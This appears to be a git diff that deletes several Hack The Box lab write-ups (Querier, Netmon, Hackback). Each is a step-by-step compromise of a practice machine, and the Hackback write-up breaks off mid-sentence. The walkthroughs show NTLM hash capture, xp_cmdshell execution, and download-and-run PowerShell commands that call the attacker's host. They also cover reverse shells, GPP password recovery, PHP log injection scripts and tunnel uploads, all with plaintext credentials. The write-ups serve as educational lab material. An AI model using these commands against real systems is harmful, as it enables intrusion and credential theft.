ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement. -``` - -However, we can trigger an SMB connection back to us with `xp_dirtree` and steal the NTLMv2 hash from the server using Responder: - -``` -SQL> xp_dirtree "\\10.10.14.23\gimmesomehashes" -``` - -![](/assets/images/htb-writeup-querier/responder.png) - -The account is using a weak password that we can crack with the `rockyou.txt` wordlist: - -``` -# john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) -Node numbers 1-4 of 4 (fork) -Press 'q' or Ctrl-C to abort, almost any other key for status -corporate568 (mssql-svc) -1 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 428905p/s 428905c/s 428905C/s CHIKITITA1 -3 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 406211p/s 406211c/s 406211C/s Pippa1862 -2 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 421156p/s 421156c/s 421156C/s HIKID25 -4 1g 0:00:00:06 DONE (2019-02-17 19:17) 0.1515g/s 339332p/s 339332c/s 339332C/s corporate568 -Waiting for 3 children to terminate -Use the "--show" option to display all of the cracked passwords reliably -Session completed -``` - -The password is: `corporate568` - -Now we can log in with that the `mssql-svc` account then enable `xp_cmdshell` and get RCE: - -``` -# /usr/share/doc/python-impacket/examples/mssqlclient.py -windows-auth querier/mssql-svc@querier.htb -Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies - -Password: -[*] Encryption required, switching to TLS -[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master -[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english -[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 -[*] INFO(QUERIER): Line 1: Changed database context to 'master'. -[*] INFO(QUERIER): Line 1: Changed language setting to us_english. -[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) -[!] Press help for extra shell commands -SQL> EXEC sp_configure 'show advanced options', 1; -[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install. -SQL> RECONFIGURE; -SQL> EXEC sp_configure 'xp_cmdshell', 1; -[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install. -SQL> RECONFIGURE; -SQL> xp_cmdshell "dir c:\users" -output - --------------------------------------------------------------------------------- - - Volume in drive C has no label. - Volume Serial Number is FE98-F373 -NULL - Directory of c:\users -NULL -01/28/2019 11:41 PM . -01/28/2019 11:41 PM .. -01/28/2019 10:17 PM Administrator -01/28/2019 11:42 PM mssql-svc -01/28/2019 10:17 PM Public - 0 File(s) 0 bytes - 5 Dir(s) 6,438,649,856 bytes free -NULL -``` - -At first I tried running a Nishang reverse shell but Windows Defender caught it. Then I tried downloading netcat with certutil.exe but that also was caught. So I used powershell instead to download netcat and then spawn a shell: - -``` -SQL> xp_cmdshell "powershell -command Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -OutFile c:\programdata\nc.exe" -``` - -``` -# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.125] 49713 -Microsoft Windows [Version 10.0.17763.292] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>whoami -whoami -querier\mssql-svc - -C:\Windows\system32>type c:\users\mssql-svc\desktop\user.txt -type c:\users\mssql-svc\desktop\user.txt -c37b41b... -``` - -### Privesc - -I used Powersploit's PowerUp module to do some recon on the box and found the administrator credentials stored in the Group Policy Preference (GPP) xml file. As explained on many other blogs, that file is AES encrypted but the key was leaked on MSDN a couple of years ago so PowerUp is able to decrypt it automatically. - -``` -C:\Windows\system32>powershell - -PS C:\Windows\system32> IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.23/PowerUp.ps1") -PS C:\Windows\system32> invoke-allchecks -[*] Checking for cached Group Policy Preferences .xml files.... - - -Changed : {2019-01-28 23:12:48} -UserNames : {Administrator} -NewName : [BLANK] -Passwords : {MyUnclesAreMarioAndLuigi!!1!} -File : C:\ProgramData\Microsoft\Group - Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml - C:\Windows\system32>powershell -``` - -Password: `MyUnclesAreMarioAndLuigi!!1!` - -Using Alamot's WinRM ruby script, I was able to log in as `administrator`: - -```ruby -require 'winrm' - -# Author: Alamot - -conn = WinRM::Connection.new( - endpoint: 'http://10.10.10.125:5985/wsman', - user: 'querier\administrator', - password: 'MyUnclesAreMarioAndLuigi!!1!', -) - -command="" - -conn.shell(:powershell) do |shell| - until command == "exit\n" do - output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") - print(output.output.chomp) - command = gets - output = shell.run(command) do |stdout, stderr| - STDOUT.print stdout - STDERR.print stderr - end - end - puts "Exiting with code #{output.exitcode}" -end -``` - -``` -# ruby querier.rb -PS querier\administrator@QUERIER Documents> whoami -querier\administrator -PS querier\administrator@QUERIER Documents> type c:\users\administrator\desktop\root.txt -b19c37... -``` diff --git a/_posts/2019-06-29-htb-writeup-netmon.md b/_posts/2019-06-29-htb-writeup-netmon.md deleted file mode 100644 index 9e2b15a692..0000000000 --- a/_posts/2019-06-29-htb-writeup-netmon.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -layout: single -title: Netmon - Hack The Box -excerpt: "I think Netmon had the quickest first blood on HTB yet. The user flag could be grabbed by just using anonymous FTP and retrieving it from the user directory. I guessed the PRTG admin password after finding an old backup file and changing the year in the password from 2018 to 2019. Once inside PRTG, I got RCE as SYSTEM by creating a sensor and using Nishang's reverse shell oneliner." -date: 2019-06-29 -classes: wide -header: - teaser: /assets/images/htb-writeup-netmon/netmon_logo.png -categories: - - hackthebox - - infosec -tags: - - ftp - - prtg - - powershell - - nishang - - config backups ---- - -![](/assets/images/htb-writeup-netmon/netmon_logo.png) - -I think Netmon had the quickest first blood on HTB yet. The user flag could be grabbed by just using anonymous FTP and retrieving it from the user directory. I guessed the PRTG admin password after finding an old backup file and changing the year in the password from 2018 to 2019. Once inside PRTG, I got RCE as SYSTEM by creating a sensor and using Nishang's reverse shell oneliner. - -## Summary - -- We can log in with anonymous FTP and get the `user.txt` flag directly from the Public user folder -- There's a PRTG configuration backup containing an old password that we can download from FTP -- The PRTG password is the almost the same as the one found in the old backup but it ends with `2019` instead of `2018` -- We can get RCE using Powershell scripts running as sensors in PRTG - -## Detailed steps - -### Nmap scan - -The nmap scan shows that anonymous FTP is allowed and that PRTG is running on the webserver. - -``` -# nmap -sC -sV -F 10.10.10.152 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 22:43 EST -Nmap scan report for netmon.htb (10.10.10.152) -Host is up (0.0090s latency). -Not shown: 95 closed ports -PORT STATE SERVICE VERSION -21/tcp open ftp Microsoft ftpd -| ftp-anon: Anonymous FTP login allowed (FTP code 230) -| 02-02-19 11:18PM 1024 .rnd -| 02-25-19 09:15PM inetpub -| 07-16-16 08:18AM PerfLogs -| 02-25-19 09:56PM Program Files -| 02-02-19 11:28PM Program Files (x86) -| 02-03-19 07:08AM Users -|_02-25-19 10:49PM Windows -| ftp-syst: -|_ SYST: Windows_NT -80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) -|_http-server-header: PRTG/18.1.37.13946 -| http-title: Welcome | PRTG Network Monitor (NETMON) -|_Requested resource was /index.htm -|_http-trane-info: Problem with XML parsing of /evox/about -135/tcp open msrpc Microsoft Windows RPC -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds -Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows -``` - -### Free flag from FTP - -In the nmap scan, the script identified that the FTP server allows anonymous access. Because we're not constrained to `ftproot` and we can look around the entire disk of the box, I quickly found a `user.txt` flag in the `c:\users\public` folder. - -``` -# ftp 10.10.10.152 -Connected to 10.10.10.152. -220 Microsoft FTP Service -Name (10.10.10.152:root): anonymous -331 Anonymous access allowed, send identity (e-mail name) as password. -Password: -230 User logged in. -Remote system type is Windows_NT. -ftp> cd /users/public -250 CWD command successful. -ftp> dir -200 PORT command successful. -125 Data connection already open; Transfer starting. -02-03-19 07:05AM Documents -07-16-16 08:18AM Downloads -07-16-16 08:18AM Music -07-16-16 08:18AM Pictures -02-02-19 11:35PM 33 user.txt -07-16-16 08:18AM Videos -226 Transfer complete. -ftp> type binary -200 Type set to I. -ftp> get user.txt -local: user.txt remote: user.txt -200 PORT command successful. -125 Data connection already open; Transfer starting. -226 Transfer complete. -33 bytes received in 0.01 secs (4.5173 kB/s) -ftp> exit -221 Goodbye. - -root@ragingunicorn:~/htb/netmon# cat user.txt -dd58c... -``` - -I was too slow for first blood, someone else on HTB got user blood in under 2 minutes. - -### Getting access to PRTG - -The PRTG application is running on port 80: - -![](/assets/images/htb-writeup-netmon/prtg_login.png) - -I tried the default credentials `prtgadmin` / `prtgadmin` but I got access denied. - -Looking in the filesystem, I found that the configuration directory for PRTG is under `c:\programdata\paessler`. - -``` -ftp> cd /programdata -250 CWD command successful. -ftp> ls -200 PORT command successful. -125 Data connection already open; Transfer starting. -02-02-19 11:15PM Licenses -11-20-16 09:36PM Microsoft -02-02-19 11:18PM Paessler -``` - -I found the configuration file and an old configuration from last year. - -``` -ftp> cd "PRTG Network Monitor" -250 CWD command successful. -ftp> ls -200 PORT command successful. -125 Data connection already open; Transfer starting. -[...] -02-25-19 09:54PM 1189697 PRTG Configuration.dat -03-02-19 05:33PM 1198465 PRTG Configuration.old -07-14-18 02:13AM 1153755 PRTG Configuration.old.bak -``` - -The `PRTG Configuration.dat` config file contains the credentials for user `prtgadmin` but they are encrypted (or hashed?) with what seems to be a proprietary method. - -![](/assets/images/htb-writeup-netmon/prtg_new_creds.png) - -When I checked `PRTG Configuration.old.bak`, I found the dbpassword: `PrTg@dmin2018` - -![](/assets/images/htb-writeup-netmon/prtg_old_creds.png) - -I tried this password with user `prtgadmin` on the PRTG login page but it didn't work. Then I realized that this is from a 2018 backup, maybe the admin is lazy and re-used the dbpassword for the admin account and simply used the current date (2019). - -My guess was correct and I was able to log in with password `PrTg@dmin2019` - -![](/assets/images/htb-writeup-netmon/prtg_mainpage.png) - -### RCE through PRTG sensors - -PRTG is a monitoring tool that supports a whole suite of sensors, like ping, http, snmp, etc. The server itself has been added in the device list, so it's safe to assume we can add sensors to it: - -![](/assets/images/htb-writeup-netmon/prtg_devices.png) - -I clicked add sensor on the 10.10.10.152 server then selected `EXE/Script sensor`. - -![](/assets/images/htb-writeup-netmon/prtg_exe.png) - -We can't add powershell custom scripts because we don't have write access to the application directory, but we can leverage the `Parameters` field to add additional code at the end of an existing Powershell script. I used Nishang to get a reverse shell. I added a semi colon at the beginning of the parameters, then pasted the Nishang code after. - -![](/assets/images/htb-writeup-netmon/prtg_rce.png) - -After the sensor is created, we hit the play button to execute it. - -![](/assets/images/htb-writeup-netmon/prtg_rce2.png) - -And we get a shell as `nt authority\system`. Box done! - -``` -# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.152] 55751 - -PS C:\Windows\system32> whoami -nt authority\system -PS C:\Windows\system32> type c:\users\administrator\desktop\root.txt -30189... -``` \ No newline at end of file diff --git a/_posts/2019-07-06-htb-writeup-hackback.md b/_posts/2019-07-06-htb-writeup-hackback.md deleted file mode 100644 index 5dbc248616..0000000000 --- a/_posts/2019-07-06-htb-writeup-hackback.md +++ /dev/null @@ -1,926 +0,0 @@ ---- -layout: single -title: Hackback - Hack The Box -excerpt: "Hackback took me a long time to do. There are so many steps required just to get a shell. For extra difficulty, AppLocker is enabled and an outbound firewall policy is configured to block reverse shells. This box has a bit of everything: fuzzing, php, asp (for pivoting with reGeorg), command injection in a Powershell script, some light reversing. For the privesc, I used the diaghub vulnerability and modified an existing exploit to get a bind shell through netcat." -date: 2019-07-06 -classes: wide -header: - teaser: /assets/images/htb-writeup-hackback/hackback_logo.png -categories: - - hackthebox - - infosec -tags: - - windows - - gophish - - alpc - - command injection - - reversing - - ntfs ads - - powershell - - regeorg - - pivoting - - fuzzing - - php - - asp - - winrm - - proxychains ---- - -![](/assets/images/htb-writeup-hackback/hackback_logo.png) - -Hackback took me a long time to do. There are so many steps required just to get a shell. For extra difficulty, AppLocker is enabled and an outbound firewall policy is configured to block reverse shells. This box has a bit of everything: fuzzing, php, asp (for pivoting with reGeorg), command injection in a Powershell script, some light reversing. For the privesc, I used the diaghub vulnerability and modified an existing exploit to get a bind shell through netcat. - -## Summary - -- Find gophish website with default credentials -- In gophish templates, find vhosts for fake HTB site and admin portal -- Find hidden administration link from obfuscated JS code on the admin portal -- Wfuzz different parameters on webadmin page -- Determine that the log file name created is the SHA256 checksum of the IP address connecting to the fake HTB website -- Use SHA256 as the session ID in the show action of the webadmin page to view logs -- Injected PHP code in the log file through the fake HTB site login page and gain ability to read/write files on server -- Obtain user `simple` Windows credentials from `web.config.old` file extracted from the server -- Upload reGeorg tunnel.aspx to pivot to the remote machine -- Log in with WinRM through the SOCKS proxy & tunnel using the credentials found in `web.config.old` -- Exploit a command injection vulnerability in the `dellog.ps1` script and its associated `clean.ini` file to gain access to user `hacker` -- Use diaghub exploit to execute arbitrary code and get a bind shell as SYSTEM - -## Detailed steps - -### Nmap scan - -The box is running a couple of different HTTP services on various ports: 80, 6666, 64831 - -``` -# nmap -sC -sV -p- 10.10.10.128 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 23:21 EST -Nmap scan report for hackback.htb (10.10.10.128) -Host is up (0.0093s latency). -Not shown: 65532 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: IIS Windows Server -6666/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Site doesn't have a title. -64831/tcp open ssl/unknown -| fingerprint-strings: -| FourOhFourRequest: -| HTTP/1.0 404 Not Found -| Content-Type: text/plain; charset=utf-8 -| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI5M3xJamQwTlV4NE5reExOMkZXTTNGSE1qTjBjbXBQZVVsd2JIcGlkQ3RzV1cxTGVUZ3pVamxyVFUxdmNuYzlJZ289fCcrRBjaMGfHLMRcgH0dlzGlH8Cy6emg2qDuUnM3RFdx; HttpOnly; Secure -| Vary: Accept-Encoding -| Vary: Cookie -| X-Content-Type-Options: nosniff -| Date: Sun, 03 Mar 2019 07:14:53 GMT -| Content-Length: 19 -| page not found -| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq: -| HTTP/1.1 400 Bad Request -| Content-Type: text/plain; charset=utf-8 -| Connection: close -| Request -| GetRequest: -| HTTP/1.0 302 Found -| Content-Type: text/html; charset=utf-8 -| Location: /login?next=%2F -| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI2N3xJbGhVYlVOa2RIbFpOVmw1VFRaMVJ5dHljV3BhU25aVVdtWTBhR2MwYlZsYWJEaG9aR014VDBoNlMwazlJZ289fDWKudYR9rrjWpWCasQcOixRNCRPK5eaVMKphjXIBDPB; HttpOnly; Secure -| Vary: Accept-Encoding -| Vary: Cookie -| Date: Sun, 03 Mar 2019 07:14:27 GMT -| Content-Length: 38 -| href="/login?next=%2F">Found. -| HTTPOptions: -| HTTP/1.0 302 Found -| Location: /login?next=%2F -| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI2N3xJbVkxUVdwb1FtRjBjM0ZGWm5BdkwzZHRNbkZVTXl0Qk5VWkZaVFZwVjBoaldUSjVTemQ2VG5sR1dsazlJZ289fMGxoxDhwdZVndica_2TocbOxXZbpClx4Ony-cgy4a9K; HttpOnly; Secure -| Vary: Accept-Encoding -| Vary: Cookie -| Date: Sun, 03 Mar 2019 07:14:27 GMT -|_ Content-Length: 0 -| ssl-cert: Subject: organizationName=Gophish -``` - -### Enumerating port 80 - -The standard web server on port 80 doesn't have much except the image of a donkey: - -![](/assets/images/htb-writeup-hackback/donkey.png) - -I checked for stego but since this is a 40 pts box from the Donkeys team there's probably not going to be much stego crap on this one. - -### Enumerating port 6666 - -Next I checked out port 6666 and found some custom web application. It errors out expecting commands: - -![](/assets/images/htb-writeup-hackback/6666_missing_command.png) - -I fuzzed the application with wfuzz and found the `/help` URI we can get a list of the available commands: - -![](/assets/images/htb-writeup-hackback/6666_help.png) - -The commands basically do what they say, they execute some function and provide the output in JSON format: - -![](/assets/images/htb-writeup-hackback/6666_whoami.png) - -![](/assets/images/htb-writeup-hackback/6666_list.png) - -I checked for command injection but didn't find any parameters that I could pass to the commands. So I moved on to the next port. - -### Enumerating port 64831 - -I can't use HTTP to connect to port 64381: - -![](/assets/images/htb-writeup-hackback/64831_http.png) - -The nmap scan already picked up that it was running HTTPS, so I switched to HTTPS and found a Gophish application running. Gophish is an Open-Source phishing framework that makes it easy to launch phishing campaigns by using templates and running an integrated webserver to track the results. - -![](/assets/images/htb-writeup-hackback/64831_https.png) - -A quick google search shows that the default credentials for Gophish are `admin` / `gophish`. I tried those and was able to log in to the Gophish application: - -![](/assets/images/htb-writeup-hackback/64831_gophish_mainpage.png) - -The Gophish database is pretty much empty except there are a few email templates already created: - -![](/assets/images/htb-writeup-hackback/64831_templates.png) - -The templates contain a couple of generic fake emails use for phishing. I noticed two interesting vhosts in the templates. - -![](/assets/images/htb-writeup-hackback/64831_template_admin.png) - -![](/assets/images/htb-writeup-hackback/64831_template_hackthebox.png) - -Based on the info I found I added `www.hackthebox.htb`, `hackthebox.htb` and `admin.hackback.htb` to my local host file. - -### Fake HTB site - -`hackthebox.htb` doesn't seem to be a valid vhost but `www.hackthebox.htb` is working and displays the login prompt for the fake HTB site. - -![](/assets/images/htb-writeup-hackback/fakehtb.png) - -The form doesn't do anything when we enter the credentials, it just loads the same page again. So this is probably not meant to be exploited. - -### Admin page - -The `admin.hackback.htb` shows a login prompt for an application that I don't recognize. - -![](/assets/images/htb-writeup-hackback/admin_login.png) - -Both `Lost your Password?` and `Don't have An account?` link return a 404 page. - -I tried a couple of username / password combination but didn't get anywhere. Again, because this is a hard box, I guessed it wasn't going to be bruteforcable or anything trivial like this. - -The HTML comment contains something odd: - -![](/assets/images/htb-writeup-hackback/admin_comment.png) - -There's a link to javascript directory that's commented out. I tried fetching the `js/.js` file but got a 404 message. Because directory indexing is disabled, I fired up gobuster and scanned `/js` for js files. - -``` -# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x js -u http://admin.hackback.htb/js -/private.js (Status: 200) -``` - -That `private.js` file contains some obfuscated javascript. I noticed that the `ine x=` pattern repeats a couple of times in the source code so I figured it must be using some simple character substitution. I pasted the code in CyberChef and tried ROT13: - -![](/assets/images/htb-writeup-hackback/js_plaintext.png) - -I still don't know what the code actually does so I just copy/pasted it in my browser's javascript console and examined each variable after the code was run. I checked the variables in the order in which they appear in the source code. - -![](/assets/images/htb-writeup-hackback/js_console.png) - -![](/assets/images/htb-writeup-hackback/js_variables.png) - -So based on the hidden message, there's a secret directory `/2bb6916122f1da34dcd916421e531578` that should allow us to get access. When I tried to access that directory, I got a 302 redirect instead of a 404 so I knew this was a valid directory. - -Next I used gobuster to look for any ASP or PHP page in that directory: - -``` -# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,asp,aspx -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578 -/. (Status: 200) -/webadmin.php (Status: 302) -``` - -If I just browse to `/2bb6916122f1da34dcd916421e531578/webadmin.php` I get a 302 back to the main page. I checked out the different parameters found in the js file and noted the following: - -1. The `list` action requires the `site` parameter set. - -2. If we put an invalid `site` parameter we get a `Wrong target!` error mesasge - -3. If we put an invalid `password` parameter we get a `Wrong secret key!` error message - -4. The `init` action expects a `session` parameter but return a `Wrong identifier!` when we try a random value - -5. The `exec` action returns a `Missing command` error message. I guessed that it's expecting a `command` or `cmd` parameters. Adding `cmd` returns a `Exited x` message when we issue a command, where x = the length of the command sent. I couldn't figure out if any command was being executed or not. I tried some sleep commands to see if anything was being executed but I always got the message back without any delay. I figured this was probably a troll from the Donkeys team so I moved on. - -The next thing I did was fuzz the `password` parameter: - -``` -# wfuzz -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou-10.txt "http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=FUZZ" - -================================================================== -ID Response Lines Word Chars Payload -================================================================== - -000001: C=302 0 L 3 W 17 Ch "123456" -000002: C=302 0 L 3 W 17 Ch "12345" -000003: C=302 0 L 3 W 17 Ch "123456789" -000004: C=302 0 L 3 W 17 Ch "password" -000005: C=302 0 L 3 W 17 Ch "iloveyou" -000006: C=302 0 L 3 W 17 Ch "princess" -000007: C=302 0 L 3 W 17 Ch "1234567" -000008: C=302 7 L 15 W 197 Ch "12345678" -000009: C=302 0 L 3 W 17 Ch "abc123" -000010: C=302 0 L 3 W 17 Ch "nicole" -``` - -The password `12345678` quickly popped out as shown above. - -I then tried the `GET /2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=12345678` query on the admin page: - -![](/assets/images/htb-writeup-hackback/admin_list.png) - -Note: I still get a 302 redirect so initially I missed it when I was using the browser to check it. With Burp, it showed up in the response. - -The `list` command shows the content of a directory that contains some log files. I tried using the `show` action to see the content of the log file by specifying the filename in the `session` parameter but I always got a `Wrong identifier!` error message. I tried various parameters and I got stuck at this point for a long time until I realized that when I try to log in to the fake HTB website found earlier a new log file is created. - -![](/assets/images/htb-writeup-hackback/admin_list2.png) - -The filename is always the same, even after a box reset so there is something unique associated to my own machine. The only thing unique to my session is the IP address from my machine. I checked the SHA256 hash for my IP 10.10.14.23 and I got `fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79`: a match for the log file name. - -I tried the `show` action with the session ID for my IP address: `/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79` - -![](/assets/images/htb-writeup-hackback/admin_show.png) - -The log file contains the POST parameters that I sent on the fake HTB site. So at this point I was hoping I could get RCE by injecting PHP code into the logs. I tested this theory by sending the following payload in the password field: `` - -I checked the logs and saw that my PHP was executed: - -![](/assets/images/htb-writeup-hackback/confirm_php_rce.png) - -Adding a bunch of PHP code in the same log file can get pretty messy when testing multiple payloads so I clean up the log file everytime I test different payloads by first calling the `init` action to reset the log file. - -I tried unsuccessfully to get a reverse shell but realized that all the common functions used for RCE appeared to be blocked. There's also an outbound firewall configured on the box so we can't get a connection back. - -Listing files and directories wasn't blocked and I could also read files. I wrote a script that does the following: - -- Cleans up the logfile by calling the `init` action -- If only one parameter is specified, it'll use the `scandir` function to list the directory contents -- If two parameters are specified, it'll read the directory + file with the `file_get_contents` function - -Warning, bad python code below: - -```python -#!/usr/bin/python - -import base64 -import requests -import sys - -# Clean up the log file - -r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=init&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79"); -print r.status_code - -if len(sys.argv) == 2: # List directories - data = { - "_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA", - "username": "test@test.com", - "password": "" % sys.argv[1], - "submit": "" - } - r = requests.post("http://www.hackthebox.htb", data=data) - print r.status_code - - # Get output - r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79", allow_redirects=False); - print r.text - -elif len(sys.argv) == 3: # Fetch a file - data = { - "_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA", - "username": "test@test.com", - "password": "" % (sys.argv[1]+'/'+sys.argv[2]), - "submit": "" - } - r = requests.post("http://www.hackthebox.htb", data=data) - print r.status_code - - # Get output - r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fe02f7f54552f5f7544d9d8963b4b88f43d2408985c12999752ee5c0e7fc3e79", allow_redirects=False); - print r.text - with open("out.txt", "wb") as f: - f.write((r.text.encode('utf-16'))) -``` - -The output of the script looks like this when enumerating directories: - -``` -# ./hackback_read.py .. -200 -200 -[04 March 2019, 12:49:47 AM] 10.10.14.23 - Username: test@test.com, Password: Array -( - [0] => . - [1] => .. - [2] => 2bb6916122f1da34dcd916421e531578 - [3] => App_Data - [4] => aspnet_client - [5] => css - [6] => img - [7] => index.php - [8] => js - [9] => logs - [10] => web.config - [11] => web.config.old -) - -# ./hackback_read.py ../.. -200 -200 -[04 March 2019, 12:49:54 AM] 10.10.14.23 - Username: test@test.com, Password: Array -( - [0] => . - [1] => .. - [2] => admin - [3] => facebook - [4] => hackthebox - [5] => paypal - [6] => twitter -) -``` - -As we saw above, there's a `web.config` file that can potentially contain sensitive information. - -I downloaded it with `./hackback_read.py ../web.config` - -``` -# ./hackback_read.py ../web.config -200 -200 -[04 March 2019, 12:51:22 AM] 10.10.14.23 - Username: test@test.com, Password: - -root@ragingunicorn:~/htb/hackback# cat web.config - - - -[...]](root@ragingunicorn:~/htb/hackback# ./hackback_read.py /inetpub/wwwroot/new_phish/admin web.config -200 -200 -[04 March 2019, 12:53:51 AM] 10.10.14.23 - Username: test@test.com, Password: - - - - -) -``` - -Nothing interesting in this one but the `web.config.old` contains some credentials: - -``` -# ./hackback_read.py /inetpub/wwwroot/new_phish/admin web.config.old -200 -200 -[04 March 2019, 12:54:18 AM] 10.10.14.23 - Username: test@test.com, Password: - - - - - - - - -``` - -Username: `simple` -Password: `ZonoProprioZomaro:-(` - -I can't use these credentials at the moment since there's no other service exposed but they'll be useful later on. - -### Tunneling our way in - -I can also write files to the target system using the same PHP code execution trick. I wrote another variant of my previous script that uses the `file_put_contents` function to write files to the disk. - -```python -#!/usr/bin/python - -import base64 -import requests -import sys - -# Clean up the log file - -r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=init&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c0b5309ada3203b2042b3443a56"); -print r.status_code - -# Base64 encoded the file we want to write - -with open(sys.argv[2]) as f: - payload = base64.b64encode(f.read()) - -# print payload - -data = { - "_token": "23I6TdlO18ZPtXYQPeHZyAY4Y8Z9wq1ntgvP8YdA", - "username": "test@test.com", - "password": "" % (sys.argv[1],payload), - "submit": "" -} -r = requests.post("http://www.hackthebox.htb", data=data) -print r.status_code - -# Call the PHP code to write the file - -r = requests.get("http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=fb6f90c58d1e2f1a7b86546f3300d6d199ac4c0b5309ada3203b2042b3443a56", allow_redirects=False); -print r.text -``` - -I used [reGeorg](https://github.com/sensepost/reGeorg) to pivot to the machine. reGeorg has two main components to it: a client-side python script that acts as a local SOCKS proxy and the remote .aspx file running on the target server. - -To write the .aspx to the webserver directory I used my script above: - -``` -# ./hackback_write.py "/inetpub/wwwroot/new_phish/admin/2bb6916122f1da34dcd916421e531578/tunnel.aspx" tunnel.aspx -200 -200 -[04 July 2019, 09:55:44 PM] 10.10.14.11 - Username: test@test.com, Password: 4960 ***** -``` - -Then I started the local component of reGeorg: - -``` -# python reGeorgSocksProxy.py -l 127.0.0.1 -p 1080 -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx - - - _____ - _____ ______ __|___ |__ ______ _____ _____ ______ - | | | ___|| ___| || ___|/ \| | | ___| - | \ | ___|| | | || ___|| || \ | | | - |__|\__\|______||______| __||______|\_____/|__|\__\|______| - |_____| - ... every office needs a tool like Georg - - willem@sensepost.com / @_w_m__ - sam@sensepost.com / @trowalts - etienne@sensepost.com / @kamp_staaldraad - - -[INFO ] Log Level set to [INFO] -[INFO ] Starting socks server [127.0.0.1:1080], tunnel at [http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx] -[INFO ] Checking if Georg is ready -[INFO ] Georg says, 'All seems fine' -``` - -So now I have a SOCKS proxy listening on port 1080 and tunneling the traffic to the Hackback machine. There are probably some ports listening only on the localhost so I can find out by running nmap through the tunnel. I specify the `-sT` flag so nmap does a regular TCP socket with the Connect() method and not the default `-sS` SYN method which doesn't work with proxychains. - -``` -# proxychains nmap -sT -p 22,80,135,139,443,445,3389,5985,5986,8080 127.0.0.1 -ProxyChains-3.1 (http://proxychains.sf.net) -Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-05 20:46 EDT -Nmap scan report for localhost (127.0.0.1) -Host is up (0.34s latency). - -PORT STATE SERVICE -22/tcp closed ssh -80/tcp open http -135/tcp open msrpc -139/tcp closed netbios-ssn -443/tcp closed https -445/tcp open microsoft-ds -3389/tcp open ms-wbt-server -5985/tcp open wsman -5986/tcp closed wsmans -8080/tcp open http-proxy -``` - -There's a few additional ports open like WinRM and RDP. I can't RDP in because I don't have the proper privileges: - -![](/assets/images/htb-writeup-hackback/rdpfail_simple.png) - -To connect to WinRM running on port 5985 I used the [Alamot's ruby script](https://github.com/Alamot/code-snippets/tree/master/winrm). I edited it to put the credentials and the 